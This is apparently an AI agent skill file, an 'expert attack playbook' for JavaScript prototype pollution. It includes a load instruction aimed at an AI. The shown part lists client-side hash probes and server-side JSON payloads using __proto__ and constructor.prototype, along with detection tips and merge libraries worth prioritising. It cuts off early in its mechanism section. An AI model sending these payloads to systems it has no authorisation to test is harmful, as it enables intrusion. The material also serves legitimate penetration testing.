prototype-pollutionlisted

# SKILL: Prototype Pollution — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**. Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects. ## 0. QUICK START ### Client-side first probes ```text #__proto__[polluted]=1 #__proto__[polluted]=polluted #constructor[prototype][polluted]=1 ``` When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted. ```text #__proto__[xxx]=alert(1) ``` ### Server-side first probes（JSON / form） ```json {"__proto__":{"polluted":true}} ``` ```json {"constructor":{"prototype":{"polluted":true}}} ``` After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table). ### Quick boolean If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**. --- ## 1. MECHANISM **Prototype chain**: when accessing `obj.key`